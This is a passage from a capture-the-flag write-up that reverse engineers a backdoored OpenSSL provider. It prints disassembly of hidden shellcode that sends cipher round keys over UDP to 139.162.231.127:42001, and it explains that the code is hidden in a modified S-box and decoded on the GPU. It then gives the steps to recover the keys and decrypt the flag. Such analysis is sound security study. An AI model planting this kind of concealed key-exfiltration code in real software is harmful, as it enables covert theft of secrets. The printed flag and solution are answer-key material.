   0x7fffc4040336:      mov    edi,eax
   0x7fffc4040338:      xor    ecx,ecx
   0x7fffc404033a:      push   rcx
   0x7fffc404033b:      movabs rax,0x7fe7a28b11a40002
   0x7fffc4040345:      push   rax
   0x7fffc4040346:      mov    r8,rsp
   0x7fffc4040349:      lea    r9d,[ecx+0x10]
   0x7fffc404034e:      lea    eax,[ecx+0x2c]
   0x7fffc4040352:      syscall                          ②
   0x7fffc4040354:      mov    edi,DWORD PTR [rsp+0x10]
   0x7fffc4040358:      xor    eax,eax
   0x7fffc404035a:      mov    al,0x3
   0x7fffc404035c:      syscall                          ③
   0x7fffc404035e:      leave
   0x7fffc404035f:      ret
   0x7fffc4040360:      add    BYTE PTR [rax],al
```

① `sys_socket` is used to create a UDP socket

② `sys_sendto` sends data to `139.162.231.127:42001`

③ `sys_close` closes the socket

Let's analyze this code.

1. Three system calls are used [5]: `0x29` - `sys_socket`, `0x2c` - `sys_sendto`, `0x2` - `sys_close`.
2. First `sys_socket` is invoked with `family=AF_INET`, `type=SOCK_DGRAM` and `protocol=0` which means a UDP socket is created [7].
3. Right after the first `syscall` `rdx` gets the value of `rsi` via the stack, similarly, `rsi` get the value of `rdi`. These registers are not set prior to the respective `push rdi` and `push rsi`, so these must be the two arguments of this code.
4. An instance of struct `struct sockaddr_in` with values `{ .sin_family=0x2, .sin_port=0x11a4, .sin_addr=0x8ba2e77f }` is built on the stack. This `sockaddr_in` describes address `139.162.231.127:42001`.
5. `sys_sendto` is invoked and data which address is stored in `rsi` (`rdi` before that `push`-`pop`) is sent to `139.162.231.127:42001`.
6. The last system call `sys_close` closes the socket.

Clearly, this code snippets sends some data to an external server via UDP. But what is this data?

Note the destination that the malicious code sends UDP datagram to: `139.162.231.127:42001`.

Locating the data

In the second callback function `0x2f40` we saw that prior to `call rbx` the offset of `$buf_arg` (value `*(long*)0x52248`) is `mov`ed to `rdi`:

```
pwndbg> x/50i ($base + 0x2f40)
   ...
   0x7ffff784ef71:      mov    rdi,QWORD PTR [rip+0x4f2d0]        # 0x7ffff789e248
   0x7ffff784ef78:      lea    r12,[rdi+0x50]
   0x7ffff784ef7c:      sub    r12,rdi
   0x7ffff784ef7f:      mov    rsi,r12
   0x7ffff784ef82:      call   rbx
   ...
pwndbg> p/x (0x7ffff789e248 - $base)
$1 = 0x52248
```

Hence, `$struct_arg` (offset `0x52248`) stores the address of the buffer `$buf_arg` being sent in the UDP datagram.

So, let's find all the cross-refs to `$struct_arg` then.

```
$ python3 -c "import subprocess, re; l=subprocess.check_output(['objdump','-
d','accelerated.so']).decode(); o=[(m.group(1), sum(map(lambda x: int(x, 16),
m.groups()[1:]))) for m in re.finditer(r'(\s+[\da-fA-F]*:.+0x([\da-fA-F]+)\(%rip\)
.*)\n\s+([\da-fA-F]*)',l)]; print(''.join([v[0] for v in o if v[1]==0x52248]))"
```

```
    2f04:       48 8d 35 3d f3 04 00    lea    0x4f33d(%rip),%rsi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    2f71:       48 8b 3d d0 f2 04 00    mov    0x4f2d0(%rip),%rdi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    3024:       48 8b 3d 1d f2 04 00    mov    0x4f21d(%rip),%rdi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    3049:       48 8b 3d f8 f1 04 00    mov    0x4f1f8(%rip),%rdi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    306d:       48 8b 3d d4 f1 04 00    mov    0x4f1d4(%rip),%rdi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    3307:       48 8b 05 3a ef 04 00    mov    0x4ef3a(%rip),%rax        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    34a1:       48 8b 3d a0 ed 04 00    mov    0x4eda0(%rip),%rdi        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    3610:       48 8b 15 31 ec 04 00    mov    0x4ec31(%rip),%rdx        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
    36dc:       48 8b 15 65 eb 04 00    mov    0x4eb65(%rip),%rdx        # 52248
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x38>
```

Given that references 2-5 actually fall into the second callback function `0x2f40`, reversing these reference sites doesn't look too daunting. However, we largely skip this process here and only show a couple of these.

First, disassemble a set of instructions starting from `0x2eea` (it contains `0x2f04`).

```
pwndbg> x/10i ($base + 0x2eea)
   0x7ffff784eeea:      push   0x0
   0x7ffff784eeec:      push   0x0
   0x7ffff784eeee:      lea    rdx,[rip+0xa2c8]        # 0x7ffff78591bd
   0x7ffff784eef5:      mov    rdi,rbp
   0x7ffff784eef8:      xor    r8d,r8d
   0x7ffff784eefb:      mov    rcx,rdx
   0x7ffff784eefe:      mov    r9d,0x60
   0x7ffff784ef04:      lea    rsi,[rip+0x4f33d]        # 0x7ffff789e248
   0x7ffff784ef0b:      call   0x7ffff784e5a0 <__cudaRegisterManagedVar@plt>      ①
   0x7ffff784ef10:      pop    rdi
pwndbg> x/s ($base + 0xd1bd)
0x7ffff78591bd: "control_block"
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    ...
    0x7fffc4000000     0x7fffc4040000 rw-p    40000 7fffc4000000 /dev/nvidia-uvm   ②
    ...
pwndbg> p/x $buf_arg
$2 = 0x7fffc4000000
```

The name `__cudaRegisterManagedVar` tells us that `$struct_arg` is actually a CUDA managed var and

the buffer `$buf_arg` it points to is probably initialized and/or changed in the GPU code, as `$buf_arg` falls in the range that is mapped onto `/dev/nvidia-uvm`.

Stoically resisting temptation to reverse PTX code, disassemble function that contains `0x3307`.

Reversing provider's PTX code is left as an exercise for the reader.

```
pwndbg> p/x ($base + 0x3307)
$3 = 0x7ffff784f307
pwndbg> p/x $struct_arg
$4 = 0x7ffff789e248
pwndbg> disassemble ($base + 0x3307)
Dump of assembler code for function gpu::pre_encrypt(context const&):
   0x00007ffff784f2d0 <+0>:     endbr64
   0x00007ffff784f2d4 <+4>:     push   r12
   0x00007ffff784f2d6 <+6>:     push   rbp
   0x00007ffff784f2d7 <+7>:     push   rbx
   0x00007ffff784f2d8 <+8>:     mov    rbx,rdi                                  ②
   0x00007ffff784f2db <+11>:    sub    rsp,0x60
   0x00007ffff784f2df <+15>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff784f2e8 <+24>:    mov    QWORD PTR [rsp+0x58],rax
   0x00007ffff784f2ed <+29>:    xor    eax,eax
   0x00007ffff784f2ef <+31>:    movzx  eax,BYTE PTR [rip+0x4ef8a]  # 0x7ffff789e280
   0x00007ffff784f2f6 <+38>:    test   al,al
   0x00007ffff784f2f8 <+40>:    je     0x7ffff784f360 <gpu::pre_encrypt(context
const&)+144>
   0x00007ffff784f2fa <+42>:    cmp    BYTE PTR [rip+0x4efdf],0x0  # 0x7ffff789e2e0
   0x00007ffff784f301 <+49>:    je     0x7ffff784f468 <gpu::pre_encrypt(context
const&)+408>
   0x00007ffff784f307 <+55>:    mov    rax,QWORD PTR [rip+0x4ef3a] # 0x7ffff789e248 ①
   0x00007ffff784f30e <+62>:    movdqu xmm1,XMMWORD PTR [rbx]
   0x00007ffff784f312 <+66>:    movups XMMWORD PTR [rax],xmm1
   0x00007ffff784f315 <+69>:    movdqu xmm2,XMMWORD PTR [rbx+0x10]
   0x00007ffff784f31a <+74>:    movups XMMWORD PTR [rax+0x10],xmm2
   0x00007ffff784f31e <+78>:    movdqu xmm3,XMMWORD PTR [rbx+0x20]
   0x00007ffff784f323 <+83>:    movups XMMWORD PTR [rax+0x20],xmm3
   0x00007ffff784f327 <+87>:    movdqu xmm4,XMMWORD PTR [rbx+0x30]
   0x00007ffff784f32c <+92>:    movups XMMWORD PTR [rax+0x30],xmm4
   0x00007ffff784f330 <+96>:    movdqu xmm5,XMMWORD PTR [rbx+0x40]
   0x00007ffff784f335 <+101>:   movups XMMWORD PTR [rax+0x40],xmm5
   0x00007ffff784f339 <+105>:   movzx  edx,BYTE PTR [rbx+0x50]
   0x00007ffff784f33d <+109>:   mov    BYTE PTR [rax+0x50],dl
   ...
```

① `$buf_arg` is initialized by copying `0x50` bytes from address stored in `rbx`.

② Value in `rdi` is copied to `rbx`.

We've found what looks like `$buf_arg` initialization code. Since the source is `rdi` and the function's name is `gpu::pre_encrypt`, we can guess that this is a method of a class called `gpu`, and `rdi` stores `this`

pointer.

Searching for the cross-references (which we omit here) we can find that `gpu::pre_encrypt` is called from function at offset `0x3d60` (that's `accelerated_cipher` init function, see `Locating init and encrypt functions`).

Let's disassemble `0x3d60`:

```
pwndbg> x/50i ($base + 0x3d60)
   0x7ffff784fd60:      endbr64
   0x7ffff784fd64:      push   rbp
   0x7ffff784fd65:      mov    rbp,rdi
   0x7ffff784fd68:      sub    rsp,0x20
   ...
   0x7ffff784fda7:      movdqu xmm0,XMMWORD PTR [rsi]
   0x7ffff784fdab:      mov    rdi,rbp                                          ②
   0x7ffff784fdae:      mov    rsi,rsp
   0x7ffff784fdb1:      movaps XMMWORD PTR [rsp],xmm0
   0x7ffff784fdb5:      call   0x7ffff784e3e0 <context::set_main_key(main_key_t
const&)@plt>  ②
   0x7ffff784fdba:      cmp    BYTE PTR [rbp+0x50],0x0
   0x7ffff784fdbe:      mov    rdi,rbp                                          ①
   0x7ffff784fdc1:      jne    0x7ffff784fdf0
   0x7ffff784fdc3:      call   0x7ffff784e600 <cpu::pre_encrypt(context const&)@plt>
   0x7ffff784fdc8:      mov    eax,0x1
   0x7ffff784fdcd:      mov    rdx,QWORD PTR [rsp+0x18]
   0x7ffff784fdd2:      sub    rdx,QWORD PTR fs:0x28
   0x7ffff784fddb:      jne    0x7ffff784fe9a
   0x7ffff784fde1:      add    rsp,0x20
   0x7ffff784fde5:      pop    rbp
   0x7ffff784fde6:      ret
   0x7ffff784fde7:      nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff784fdf0:      call   0x7ffff784e5e0 <gpu::pre_encrypt(context const&)@plt>①
   ...
```

① `gpu::pre_encrypt` call, the first argument is loaded from `rbp`.

② `context::set_main_key` call, the first argument is also loaded from `rbp`.

Here we see that one and the same object which address is stored in `rbp` is passed to both `gpu::pre_encrypt` and `context::set_main_key`. Hence, it is hardly a `this` pointer.

Anyway, knowing that the memory (thereafter referred to as `$buf_arg_src`) that's used to init `$buf_arg` buffer is also passed to function `context::set_main_key` , let's disassemble it:

```
pwndbg> disassemble ($base + 0x3a10)
Dump of assembler code for function context::set_main_key(main_key_t const&):
   0x00007ffff784fa10 <+0>:     endbr64
   0x00007ffff784fa14 <+4>:     mov    r8,rdi                                    ①
   0x00007ffff784fa17 <+7>:     mov    rdi,rsi                                   ②
```

```
   0x00007ffff784fa1a <+10>:    lea    rsi,[r8+0x8]                              ①
   0x00007ffff784fa1e <+14>:    jmp    0x7ffff784e480 <expand_keys(main_key_t const&,
unsigned long long*)@plt>
End of assembler dump.
pwndbg> disassemble expand_keys
Dump of assembler code for function expand_keys(main_key_t const&, unsigned long
long*):
   0x00007ffff784f960 <+0>:     endbr64
   0x00007ffff784f964 <+4>:     push   r15
   0x00007ffff784f966 <+6>:     mov    r15,rsi                                   ①
   ...
   0x00007ffff784f97f <+31>:    lea    rbx,[rip+0x11a1a]        # 0x7ffff78613a0  <x>
   0x00007ffff784f986 <+38>:    sub    rsp,0x8
   0x00007ffff784f98a <+42>:    mov    r12,QWORD PTR [rdi]                       ②
   0x00007ffff784f98d <+45>:    mov    rbp,QWORD PTR [rdi+0x8]                   ②
   0x00007ffff784f991 <+49>:    nop    DWORD PTR [rax+0x0]
   0x00007ffff784f998 <+56>:    mov    rdi,QWORD PTR [rbx]
   0x00007ffff784f99b <+59>:    mov    rsi,rbp
   0x00007ffff784f99e <+62>:    mov    rcx,r14
   0x00007ffff784f9a1 <+65>:    mov    rdx,r13
   0x00007ffff784f9a4 <+68>:    add    rbx,0x8
   0x00007ffff784f9a8 <+72>:    add    r15,0x8                                   ④
   0x00007ffff784f9ac <+76>:    call   0x7ffff784e420 <round_function(block_t,
unsigned long long, unsigned char const*, unsigned long long const*)@plt>
③
   0x00007ffff784f9b1 <+81>:    mov    r9,rax                                    ④
   0x00007ffff784f9b4 <+84>:    mov    rax,rbp
   0x00007ffff784f9b7 <+87>:    xor    r9,r12
   0x00007ffff784f9ba <+90>:    mov    r12,rax
   0x00007ffff784f9bd <+93>:    lea    rax,[rip+0x11a24]        # 0x7ffff78613e8
   0x00007ffff784f9c4 <+100>:   mov    QWORD PTR [r15-0x8],r9                    ④
   0x00007ffff784f9c8 <+104>:   mov    rbp,r9
   0x00007ffff784f9cb <+107>:   cmp    rbx,rax
   0x00007ffff784f9ce <+110>:   jne    0x7ffff784f998 <expand_keys(main_key_t const&,
unsigned long long*)+56>
   ...
   0x00007ffff784f9de <+126>:   ret
End of assembler dump.
```

① Address of `$buf_arg_src` is offset by 0x8 and saved to `r15` (through `rsi`).

② A value of type `main_key_t` (most likely the user key) is used in the beginning of the key expansion.

③ Round function return the next round key in `rax`.

④ The next round key is saved to `$buf_arg_src[i]`.

Given the name of the function and its argument's type we can deduce that `$buf_arg_src[8:]` is used to store the round keys. The first `8` bytes doesn't seem to be initialized at all, although, apparently, we don't need them to decrypt `flag.enc`.

Putting it all together:

1. `$buf_arg_src` is used to store the round keys
2. `$buf_arg_src` is copied to `$buf_arg`
3. `$buf_arg` is sent to an external server in the UDP datagram

Note: the **round keys** are sent to `139.162.231.127:42001`.

5. Decrypting `flag.enc`

Extracting the round keys

First we need to extract the round keys from the traffic dump `net.pcapng`.

Knowing the used protocol and IP address of the server we can use filter `"ip.addr==139.162.231.127 && udp"` to export the UDP datagram and save its data as a binary file:

```
$ tshark -r net.pcapng -2 -R "udp && ip.addr==139.162.231.127" -T fields -e data | xxd
-r -p - round_keys.bin
$ xxd round_keys.bin
00000000: aa6c 541e 628c f705 fe19 c227 e334 00ff  .lT.b......'.4..
00000010: 21ea 50ab 337b 8f6c 92fb 9bc7 c002 4d90  !.P.3{.l......M.
00000020: 5ca6 6ce9 e564 7682 6afe 1531 7bef 28b8  \.l..dv.j..1{.(.
00000030: 279a 202c 24be e722 8a0b 6aa6 d99d 0d92  '. ,$.."..j.....
00000040: 3039 c8fd 5e4a 8bb8 d0f5 1f85 d4bf a9dd  09..^J..........
```

Decrypting the flag

Now we have the round keys. `accelerated_cipher`'s decryption function is implemented (it's the encryption function as can be seen in the array of `OSSL_DISPATCH` objects, offset `0x51a80`, see Locating init and encrypt functions). This makes it possible to decrypt `flag.enc` without reverse engineering the whole encryption function and implementing its decryption counterpart.

We don't even need to derive the user key from the round keys as we can pause execution **before** `gpu::pre_encrypt` (offset `0x32d0`) and copy the keys directly to the buffer `$buf_arg_src` using `gdb` command `restore`.

Also, the cmd line needs to be changed: we need `-d` switch instead of `-e`, and some other output file name.

Let's try to decrypt the flag:

```
$ gdb -q --args openssl enc -provider-path . -provider accelerated -provider def
ault -pbkdf2  -d -accelerated-cipher -in flag.enc -out decrypted.txt -kfile
fake.key.bin
```

```
pwndbg: loaded 141 pwndbg commands and 47 shell commands. Type pwndbg [--shell |
--all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from openssl...
(No debugging symbols found in openssl)
pwndbg> set print asm-demangle on                                    ①
pwndbg> set stop-on-solib-events 1
pwndbg> r
        ...
pwndbg> c
        ...
pwndbg> c
Continuing.
Stopped due to shared library event:
  Inferior loaded ./accelerated.so
        ...
pwndbg> set stop-on-solib-events 0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ...
    0x7ffff784c000     0x7ffff784e000 r--p     2000      0
/home/accelerated/task/accelerated/accelerated.so
    ...
pwndbg> set $base = 0x7ffff784c000
pwndbg> b *($base + 0x32d0)                                          ②
pwndbg> i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00007ffff784f2d0 <gpu::pre_encrypt(context const&)>
pwndbg> c
        ...
pwndbg> i r $rdi
rdi            0x555555660680      93824993330816
pwndbg> x/10gx $rdi                                                  ④
0x555555660680: 0xb917b9739e6705fc      0xa0dd0506e3cbb291
0x555555660690: 0xdb219a03b5724ed5      0x5f480d1990aa6e64
0x5555556606a0: 0x9a3854f2ade51495      0x9549272f71d61bd2
0x5555556606b0: 0xc89ef95ccea72440      0xa3afe2477750f943
0x5555556606c0: 0x4db7deaf61c3801e      0x5c09101eafb6bf61
pwndbg> restore round_keys.bin binary $rdi                           ③
pwndbg> x/10gx $rdi                                                  ④
0x555555660680: 0x05f78c621e546caa      0xff0034e327c219fe
0x555555660690: 0x6c8f7b33ab50ea21      0x904d02c0c79bfb92
0x5555556606a0: 0x827664e5e96ca65c      0xb828ef7b3115fe6a
0x5555556606b0: 0x22e7be242c209a27      0x920d9dd9a66a0b8a
0x5555556606c0: 0xb88b4a5efdc83930      0xdda9bfd4851ff5d0
pwndbg> c                                                            ⑤
        ...
[Inferior 1 (process 60438) exited normally]
pwndbg> q
$ file decrypted.txt
decrypted.txt: ASCII text
```

```
$ cat decrypted.txt
VolgaCTF{aoVaMUXwgE3++KYTPfZDRweWcl7HLhYbwidwNluttaC05N31CTACGyWYYlE=}
```

① Starting a debug session.

② Setting a breakpoint on the beginning of `gpu::pre_encrypt`.

③ Loading the round keys from file to the buffer `$buf_arg_src`.

④ Checking that the round keys are loaded.

⑤ Resuming execution to decrypt the encrypted flag.

And we finally decrypt the flag!

6. The origin of the malicious code

Perhaps, the only important thing that's been omitted is the origin of the malicious code.

`accelerated-cipher` implemented as an OpenSSL provider is actually a slightly modified block cipher KHAZAD. The last S-box of this cipher is modified so that its bytes are actually a transformed version of the malicious code that appears in the executable buffer `$buf_code`. The transformation is trivial: `(x+3i+1) % 256`.

During initialization the provider checks whether the system has a GPU that supports CUDA (and CUDA itself). If no CUDA-capable device is present the machine's CPU is used and nothing funny happens - it just encrypts input data.

However, if CUDA and a GPU are present, the provider switches to the GPU mode. To pass data between the CPU and the GPU a region of memory mmaped onto file `/dev/nvidia-uvm` is used. The buffer `$buf_code` being executed at the final stage of the execution (pointed to by `*(long*)0x52240 + 0x40120`) falls right into that memory region.

Having encrypted the data the GPU inverses the transformation of the last S-box, copies the result code into the mapped `$buf_code` and triggers the callback of the second host node, which in turn executed the newly created malicious code.

7. TL;DR

Greetings everyone decided to skip the long narrative and get to the point! Let's walk through the steps of the implied solution.

First of all, studying the given files we notice that `accelerated.so` is an OpenSSL provider, and it's linked with `libcudart.so.12`. Also, from `.bash_history` it's clear that `flag.txt` was encrypted and sent to an external FTP server. Since the ciphertext file `flag.enc` is nowhere to be seen, we may assume it can be found in the given network traffic dump `net.pcapng`.

Examining `accelerated.so` we find the following.

1. There's a function (offset `0x3080`) that uses instruction `syscall` directly.

2. The system call `sys_mprotect` is used to set `PROT_READ|PROT_WRITE|PROT_EXEC` access flags on a page (or two pages) that contain some buffer. The buffer looks like a field of a rather large struct addressed by a pointer at `0x52240`. This buffer's offset is `*(long*)0x52240 + 0x40120`.
3. Since `PROT_EXEC` hints at potential code execution, we search for any indirect call involving an address that falls within the buffer's range and find `call rbx` instruction at offset `0x2f82` (mere examining `xrefs` to `0x52240` would do).
4. The pointer at `0x52240` is initialized to zero, so debugging is necessary. As `accelerated.so` is a dynamic library, we need to debug `openssl` binary. The correct cmd line can be found in `.bash_history`.
5. Breaking execution at `0x2f82` (plus the base of the loaded `accelerated.so` which we ignore hereafter) and examining the contents of the buffer as machine code we see a sequence of three `syscall`s.
6. The first `syscall` invokes `sys_socket` and creates a UDP socket. The second system call is `sys_sendto` and it's used to send `0x50` bytes from some buffer, which address is stored in a pointer at `0x52248`. This data is sent as a UDP datagram to address `139.162.231.127:42001`. The last `sys_close` closes the socket.
7. Tracing the buffer being sent in the UDP datagram we locate its initialization site within function `gpu::pre_encrypt`. `0x50` bytes from some other location are copied to the buffer pointed by `0x52248`. The address of this new location is passed to `gpu::pre_encrypt` as the first argument.
8. Tracing this argument we find function at `0x3d60` which first calls `context::set_main_key` and then calls `gpu::pre_encrypt` passing one and the same address as their first argument.
9. Disassembling `context::set_main_key` we finally see that all but the first `8` bytes of this location (passed as the first argument) are initialized with the round keys by `round_function`. Then this location is copied to the buffer pointed by `0x52248`, which is later sent over UDP.
10. All these findings lead us to conclusion: the data being sent in the UDP datagram are the round keys! And since we have the network traffic dump `net.pcapng`, we should be able to find these keys.

Let's extract the encrypted flag `flag.enc` and the round keys. Since we know FTP server IP address `84.201.156.120` and the destination address `139.162.231.127` where the keys are sent to, we can apply filtering.

```
$ tshark -r net.pcapng -2 -R "ip.addr==84.201.156.120 && ftp-data" -T fields -e
tcp.stream
2
$ tshark -r net.pcapng -z follow,tcp,raw,2 -q | tail -n2 | head -n1 | xxd -r -p -
flag.enc
$ xxd flag.enc
00000000: 5361 6c74 6564 5f5f ee32 b21d 260f c7bf  Salted__.2..&...
00000010: 98cb fccf b13d 4dd4 5a21 6ab1 755c e648  .....=M.Z!j.u\.H
00000020: d8f5 1235 a503 9251 7542 4577 ffc4 fa07  ...5...QuBEw....
00000030: 447d 20f9 0d9a 42e1 cba0 9a81 f216 af1e  D} ...B.........
00000040: 63fd 9c3f 86ec 3c08 9b3b b8f4 74f2 4649  c..?..<..;..t.FI
00000050: ea25 9c47 650e 69                        .%.Ge.i
```

We see prefix `Salted__` in `flag.enc` that designates OpenSSL salted format, thus the extracted file was indeed encrypted using OpenSSL.

```
$ tshark -r net.pcapng -2 -R "ip.addr==139.162.231.127 && udp" -T fields -e data | xxd
-r -p - round_keys.bin
$ xxd round_keys.bin
00000000: aa6c 541e 628c f705 fe19 c227 e334 00ff  .lT.b......'.4..
00000010: 21ea 50ab 337b 8f6c 92fb 9bc7 c002 4d90  !.P.3{.l......M.
00000020: 5ca6 6ce9 e564 7682 6afe 1531 7bef 28b8  \.l..dv.j..1{.(.
00000030: 279a 202c 24be e722 8a0b 6aa6 d99d 0d92  '. ,$.."..j.....
00000040: 3039 c8fd 5e4a 8bb8 d0f5 1f85 d4bf a9dd  09..^J..........
```

The UDP datagram is indeed present and its length is `0x50` so everything looks good.

We've found the round keys and the encrypted file, what's left is to decrypt the data. However, we only have the round keys, not the user key. A solution here is to pause execution at the beginning of `gpu::pre_encrypt` and overwrite whatever the values are there with the extracted round keys. We do this using `gdb` and its `restore` command.

```
$ dd if=/dev/urandom of=fake.key.bin count=1024
$ gdb -q \
    -ex 'set stop-on-solib-events 1' -ex 'r' -ex 'c' -ex 'c' \
    -ex 'set stop-on-solib-events 0' -ex \
    'b _ZN3gpu11pre_encryptERK7context' -ex 'c' \
    -ex 'restore round_keys.bin binary $rdi' -ex 'c' -ex 'q' \
    --args openssl enc -provider-path . -provider accelerated -provider default
-pbkdf2  -d -accelerated-cipher -in flag.enc -out decrypted.txt -kfile fake.key.bin
$ file decrypted.txt
decrypted.txt: ASCII text
$ cat decrypted.txt
VolgaCTF{aoVaMUXwgE3++KYTPfZDRweWcl7HLhYbwidwNluttaC05N31CTACGyWYYlE=}
```

And we get the flag! Luckily, there's no need to reverse engineer PTX code.

References

- [1] https://www.openssl.org/docs/manmaster/man7/provider.html
- [2] https://www.openssl.org/docs/manmaster/man3/OSSL_DISPATCH.html
- [3] https://www.openssl.org/docs/manmaster/man3/OSSL_ALGORITHM.html
- [4] https://docs.nvidia.com/cuda/cuda-runtime-api/group_CUDART_GRAPH.html
- [5] https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
- [6] https://man7.org/linux/man-pages/man2/mprotect.2.html
- [7] https://man7.org/linux/man-pages/man2/socket.2.html